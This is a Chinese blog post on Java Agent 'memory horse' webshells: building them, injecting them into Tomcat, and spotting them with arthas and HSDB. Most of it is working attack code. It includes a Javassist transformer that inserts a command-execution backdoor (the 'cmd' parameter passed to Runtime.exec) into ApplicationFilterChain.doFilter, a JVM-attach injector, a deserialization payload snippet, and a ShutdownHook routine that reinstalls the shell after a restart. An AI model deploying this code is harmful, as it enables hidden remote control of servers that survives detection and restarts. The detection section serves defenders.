美文网首页
Agent型内存马攻与防

Agent型内存马攻与防

作者: AxisX | 来源:发表于2022-03-31 11:10 被阅读0次

Java Agent的核心是Instrumentation,通过JVM运行过程中加载一个Agent来修改应用程序。这样就无需新建一个Filter、listener等,直接修改核心类的方法即可。Agent型内存马分为Agent和注入Agent两部分。Agent重写transform方法,加入恶意代码。注入Agent则是遍历VirtualMachine.list,找到目标类,然后将Agent attach到目标应用中。这样注入的Agent无法通过之前Filter、listener的方式在内存中查看,因为并没有加入到具体的内存对象中,只是修改了某个类的方法,所以需要利用工具在JVM中查看类的具体代码,判断是否被修改,来查找内存马的痕迹。想要杀掉Agent内存马就是要把这部分恶意代码抹去。

1. 预备知识

JVMTI:JVM Tool Interface,Java虚拟机对外提供的Native编程接口
Agent:应用程序的代理程序,从目标JVM中获取数据传递给外部进程
Instrumentation:从Java SE 5开始引入的Java接口,可以通过java.lang.instrument来编写agent,而不再用Native的方式(虽然还是借助了JVMTI)。java.lang.instrument包结构如下

java.lang.instrument
    - ClassDefinition
    - ClassFileTransformer
    - IllegalClassFormatException
    - Instrumentation
    - UnmodifiableClassException

Agent 加载方式
Agent的加载可以是在JVM启动的时候,也可以是运行的时候。两种方法入口函数不同。但是形参的第一个参数agentArgs,通过– javaagent传入。inst是Instrumentation类型的对象,JVM自动传入

// 启动时加载
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);
// 运行时加载
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);

无论是这两种哪个Agent,都需要打成一个jar包,在ManiFest属性中指定Premain-Class或者Agent-Class。打成jar包后需要挂在到目标JVM上,如果是启动时加载就是-javaagent:[=],如果是运行时挂载,就需要做一些额外的开发。

2. Agent Demo

参考https://www.cnblogs.com/rebeyond/p/9686213.html起三个工程,并将三个工程生成的jar放到同一目录

(1)JavaAgentMem—要被修改的应用程序


JavaAgentMem

Ask类是应用程序,即要被Agent修改动作的类
先创建一个修改后希望运行的Ask

public class Ask {
    public void say()
    {
        System.out.println("Oh my god...not yet");
    }
}

将这个Ask.class拷贝出来放到xx路径下,然后将这个Ask类改为被修改前的样子

public class Ask {
    public void say()
    {
        System.out.println("Have you finish your Memshell?");
    }
}

注意,如果想在命令行中以java -jar xxx.jar来运行jar文件,需要在IDEA的resources中创建MANIFEST.MF文件(指定Main-Class,并且末尾需要一行空行)

Manifest-Version: 1.0
Main-Class: Test

这个工程没啥好说的, 就是相当于一个普通应用程序,后面要写一个Agent来修改它。

(2)JavaAgent

JavaAgent工程结构

AgentEntry类

import java.lang.instrument.Instrumentation;

public class AgentEntry {
    public static void agentmain(String agentArgs, Instrumentation inst)
            throws Exception{
        inst.addTransformer(new Transformer (), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (Class c : loadedClasses) {
            if (c.getName().equals("Ask")) {
                try {
                    inst.retransformClasses(c);
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
        System.out.println("Class changed!");
    }
}

根据预备知识可以知道,Agent分为启动时加载和运行时加载。运行时夹在需要采用agentmainInstrumentation.addTransformer()用于加载一个转换器。该方法接收的参数类型为ClassFileTransformer接口实现类,该接口中只有一个方法transform(),会返回转换后的字节码。

Transformer类

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

public class Transformer implements ClassFileTransformer {

    static byte[] mergeByteArray(byte[]... byteArray) {
        int totalLength = 0;
        for(int i = 0; i < byteArray.length; i ++) {
            if(byteArray[i] == null) {
                continue;
            }
            totalLength += byteArray[i].length;
        }

        byte[] result = new byte[totalLength];
        int cur = 0;
        for(int i = 0; i < byteArray.length; i++) {
            if(byteArray[i] == null) {
                continue;
            }
            System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
            cur += byteArray[i].length;
        }

        return result;
    }
    public static byte[] getBytesFromFile(String fileName) {
        try {
            byte[] result=new byte[] {};
            InputStream is = new FileInputStream(new File(fileName));
            byte[] bytes = new byte[1024];
            int num = 0;
            while ((num = is.read(bytes)) != -1) {
                result=mergeByteArray(result, Arrays.copyOfRange(bytes, 0, num));
            }
            is.close();
            return result;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public byte[] transform(ClassLoader classLoader, String className, Class<?> c,
                            ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
        if (!className.equals("Ask")) {
            return null;
        }
        // 刚才Ask.class所放路径
        return getBytesFromFile("/xx/Ask.class");

    }
}

(3)AgentStarter


AgentStarter工程结构

Attach类,挂载到目标JVM上,执行加载Agent操作。而Detach则是将Agent从目标JVM卸载。

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Attach {
    public static void main(String[] args) throws Exception {

        VirtualMachine vm = null;
        List<VirtualMachineDescriptor> listAfter = null;
        List<VirtualMachineDescriptor> listBefore = null;
        listBefore = VirtualMachine.list();
        while (true) {
            try {
                listAfter = VirtualMachine.list();
                if (listAfter.size() <= 0)
                    continue;
                for (VirtualMachineDescriptor vmd : listAfter) {
                    vm = VirtualMachine.attach(vmd);
                    listBefore.add(vmd);
                    System.out.println("i find a vm,agent.jar was injected.");
                    Thread.sleep(1000);
                    if (null != vm) {
                        vm.loadAgent("/xx/JavaAgent.jar");
                        vm.detach();
                    }
                }
                break;

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

几种Attach方法比较

attach方式 是否会暂停JVM 所在jar 备注
HotSpotAgent.attach sa-jdi.jar 在目标进程外部运行
VirtualMachine.attach 不会 tools.jar attach创建Attach Listener执行命令
VirtualMachinne.loadAgent 不会 tools.jar loadAgent动态加载jar提供信息
Perf.getPerf.attach(perfDataattach) 不会 rt.jar lattach时把当前目标JVM进程的状态信息拷贝到mmap文件

(4)测试效果
先运行JavaAgentMem.jar,然后运行AgentStarter.jar,可以看到Ask中的内容被改变。需要说明的是AgentStarter.jar直接运行可能会报错

Caused by: java.lang.ClassNotFoundException: com.sun.tools.attach.VirtualMachine

这是因为Agent需要tools.jar支持,所以需要在应用启动参数上增加tools,如下
java -jar AgentStarter.jar -Xbootclasspath/a:$JAVA_HOME/lib/tools.jar

效果测试

3. Agent内存马

通过上面的demo可以看到,写一个Agent和一个Attach Agent(Agent注入)的代码就可以改变应用程序的原有内容。那么我们就可以不再写一个新的Servlet或者Filter,而是在程序原有的代码中加入恶意的一部分代理。

Agent参考上述JavaAgent的写法,需要一个AgentEntry类编写agentmain,另一个类Transformer写transformer方法。

Agent

AgentEntry中判断如果当前的类是否为我们要更改的类。那么从内存马的角度来讲,我们要修改的类到底是什么?网上流传的是internalDoFilter,但是它是tomcat中的类,只适用于tomcat。后来冰蝎内置的内存马是写在了HttpServlet的service方法中,由于是JavaEE规范,相对来讲,能适用于更多的中间件。所以AgentEntry写法和上述demo中的没有区别,只是将判断中的Ask类换成org.apache.catalina.core.ApplicationFilterChain

public class MyAgent {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public MyAgent() {
    }

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for(int i = 0; i < loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var6) {
                    var6.printStackTrace();
                }
            }
        }

    }

    public static void premain(String args, Instrumentation inst) throws Exception {
    }
}

Transformer中的功能就是对方法中的代码进行修改并返回新的代码。方法修改一般借助字节码工具asm或者javaassist,前者性能好,但易用性差,一般选用javassist。Javassist在反序列化调用链中多次被用到,能在JVM运行时修改字节码。反序列化中的用法如下

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//1 创建ClassPool-存储对象
ClassPool classPool=ClassPool.getDefault();
//2 添加类的搜索路径
classPool.appendClassPath(AbstractTranslet);
//3 makeClass创建一个空类,类名为CB
CtClass payload=classPool.makeClass("CB");
//4 设置CB的父类
payload.setSuperclass(classPool.get(AbstractTranslet));
//5 在类中设置static代码块,包含恶意代码
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");

对于Transform实现更改类中代码来说,主要先通过javassist创建ClassPool,然后从中获取需要的类,反射获取类中的方法进行修改。ClassPool存储对象,但是对于Web服务器来说,类的加载器可能不同,就需要通过new ClassClassPath(<Class>)的方式来创建ClassPool,指定类搜索路径。找到指定的ApplicationFilterChain类后向其doFilter中添加代码。

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public MyTransformer() {
    }

    public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');
        // 创建ClassPool
        if (className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }

            try {
                // ClassPool中获取class对象
                CtClass cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;\n            javax.servlet.ServletResponse res = response;String cmd = req.getParameter(\"cmd\");\nif (cmd != null) {\nProcess process = Runtime.getRuntime().exec(cmd);\njava.io.BufferedReader bufferedReader = new java.io.BufferedReader(\nnew java.io.InputStreamReader(process.getInputStream()));\nStringBuilder stringBuilder = new StringBuilder();\nString line;\nwhile ((line = bufferedReader.readLine()) != null) {\nstringBuilder.append(line + '\\n');\n}\nres.getOutputStream().write(stringBuilder.toString().getBytes());\nres.getOutputStream().flush();\nres.getOutputStream().close();\n}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (IOException | CannotCompileException | NotFoundException var10) {
                var10.printStackTrace();
            }
        }

        return new byte[0];
    }

然后将此Agent工程打jar包

生成Agent工程结构

注入Agent

public class Main {
    public Main() {
    }

    public static void main(String[] args) throws Exception {
        String agentPath="/xxx/TomcatAgent.jar"; //生成的Agent所放的路径
        try {
            File toolsJar = new File(System.getProperty("java.home").replaceFirst("jre", "lib") + File.separator + "tools.jar");
            URLClassLoader classLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();
            Method add = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
            add.setAccessible(true);
            add.invoke(classLoader, toolsJar.toURI().toURL());
            Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            Method list = MyVirtualMachine.getDeclaredMethod("list");
            List<Object> invoke = (List)list.invoke((Object)null);

            for(int i = 0; i < invoke.size(); ++i) {
                Object o = invoke.get(i);
                Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName");
                Object name = displayName.invoke(o);
                System.out.println(String.format("JVM process name:[[[%s]]]", name.toString()));
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
                    Method attach = MyVirtualMachine.getDeclaredMethod("attach", MyVirtualMachineDescriptor);
                    Object machine = attach.invoke(MyVirtualMachine, o);
                    Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", String.class);
                    loadAgent.invoke(machine, agentPath);
                    Method detach = MyVirtualMachine.getDeclaredMethod("detach");
                    detach.invoke(machine);
                    System.out.println("Inject url http://localhost:8080/?cmd=whoami");
                    break;
                }
            }
        } catch (Exception var17) {
            var17.printStackTrace();
        }

    }
}

把这个打包成jar ,如果不想把路径写死,就将agentPath当作参数传入,在进行效果测试的时候有个坑,启动tomcat发现找不到tomcat相关的JVM,正确的tomcat启动方式

sh catalina.sh run

tomcat启动后,执行Java -jar Inject.jar,终端上显示出Inject url...后即可访问url地址,查看效果。

4. JVM中查找Class

(1)arthas
arthas是阿里开发的开源工具,链接:https://github.com/alibaba/arthas
使用的话直接下载arthas-boot.jar即可:https://arthas.aliyun.com/arthas-boot.jar
可以在JDK6以上运行,主要功能包括:检查一个类是否被加载,或者类被加载到哪里(对于解决 jar 文件冲突很有用)、反编译一个类以确保代码按预期运行等。这两个功能对于内存马的查找很有意义。比如上述Agent内存马的注入选取了org.apache.catalina.core.ApplicationFilterChain类,那么可以通过arthas直接查看这个类的反编译结果是否包含恶意代码

arthas使用

java -jar arthas-boot.jar

启动工具后,根据显示出的线程,选取对应要查看的。


输入要查看的线程编号
[arthas@4035]$ sc org.apache.catalina.core.ApplicationFilterChain
[arthas@4035]$ jad org.apache.catalina.core.ApplicationFilterChain

输入sc ${需要检索的类名}查看相关的类名,输入jad ${包名},反编译class源码,可以看到此时的doFilter包含了恶意代码

反编译后的ApplicationFilterChain.doFilter

如果想要下载Class文件,然后jd-gui打开即可。

[arthas@4035]$ dump org.apache.catalina.core.ApplicationFilterChain

(2)HSDB(sa-jdi.jar)
HSDB(Hotspot Debugger),是一款内置于sa-jdi.jar中的 GUI 调试工具,可用于调试 JVM 运行时数据,从而进行故障排除。以下三种开启方式都可以。

sudo /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp ,:/Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB

选择file->Attach to Hotspot process ,然后输入process ID去Attach进程。但是Mac环境下可能出现Attach不成功的情况。

HSDB Attach失败
Attach成功后,Tools->Class Browser,可以查看该线程下面所有的class。

除了图形界面的方式,也可以采取命令行的形式。sa-jdi.jar中有一个ClassDump,通过jps命令查找进程对应的PID,然后执行如下命令

java -classpath $JAVA_HOME%/lib/sa-jdi.jar -Dsun.jvm.hotspot.tools.jcore.filter=xxx -Dsun.jvm.hotspot.tools.jcore.outputDir=xxx sun.jvm.hotspot.tools.jcore.ClassDump <PID>

这也是手动写一些Dump Class工具的核心——调用ClassDump

Agent内存马是把恶意代码插入到核心类的方法中,所谓的“杀”Agent内存马,就是找到这些和心类,将恶意逻辑进行更改。简单的思路就是,同样写一个Agent和一个注入Agent的。只不过这个Agent是修改恶意逻辑的。

5. ShutdownHook

ShutdownHook也叫钩子函数,它允许开发人员插入JVM关闭时执行的一段代码。示例如下:

public class Hook {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().addShutdownHook(new Thread() {
            @Override
            public void run() {
                System.out.println("hook");
            }
        });
        System.out.println("public main over");
    }
}

main方法执行结束后会执行hook,所以rebeyond利用这种方式在服务器运行结束后,将inject.jaragent.jar写到磁盘上,然后调用startInject方法执行java -jar inject.jar,来解决一般内存马在服务器重启后不存在的情况,但是实战中一般要求木马可清楚,这种方式慎用。

 public static void persist() {
     try {
         Thread t = new Thread() {
             public void run() {
                 try {
                     writeFiles("inject.jar",Agent.injectFileBytes);
                     writeFiles("agent.jar",Agent.agentFileBytes);
                     startInject();
                 } catch (Exception e) {

                 }
             }
         };
         t.setName("shutdown Thread");
         Runtime.getRuntime().addShutdownHook(t);
     } catch (Throwable t) {
     }

参考文章:
https://www.cnblogs.com/rebeyond/p/9686213.html
https://tech.meituan.com/2019/11/07/java-dynamic-debugging-technology.html

相关文章

  • Agent型内存马攻与防

    Java Agent的核心是Instrumentation,通过JVM运行过程中加载一个Agent来修改应用程序。...

  • 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主...

  • Java Agent到内存马

    JAVA Agent两种方法复现 Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提...

  • 溢出攻与防

    之前说的溢出攻防中,“防”的策略。(欢迎订阅我在“开发者头条”的主题,红客白客黑客)我们知道对于溢出的简单原理,即...

  • iOS安全攻与防(总篇)

    iOS安全攻与防 本地数据攻与防 https UIWebview 第三方sdk与xcode 反编译与代码混淆 越狱...

  • 智能合约攻与防

    智能合约的概念出现的非常早,在1994年就有人提出,但是因为当时没有这种可信化的这种执行环境,并没有在当时应用到实...

  • Android签名攻与防

    一. Android签名背景: Android应用使用应用包文件(.apk文件)的形式分发到设备上,由于这个平台的...

  • iOS App 攻与防

    签名 作为一个 iOS 开发者,在你开发使用的机器上应该已经有一个证书,一个公钥,以及一个私钥。这些是代码签名机制...

  • 驭龙HIDS笔记

    部署环境有硬件要求,内存3G+,cpu4croe+ 问题1: 编译 agent 时报错: agent\vendor...

  • 代码注入的攻与防

    一、代码注入 1. 通过修改LoadCommands段注入framework/dylib文件 参考: 逆向工程的代...

网友评论

      本文标题:Agent型内存马攻与防

      本文链接:https://www.haomeiwen.com/subject/pxgjjrtx.html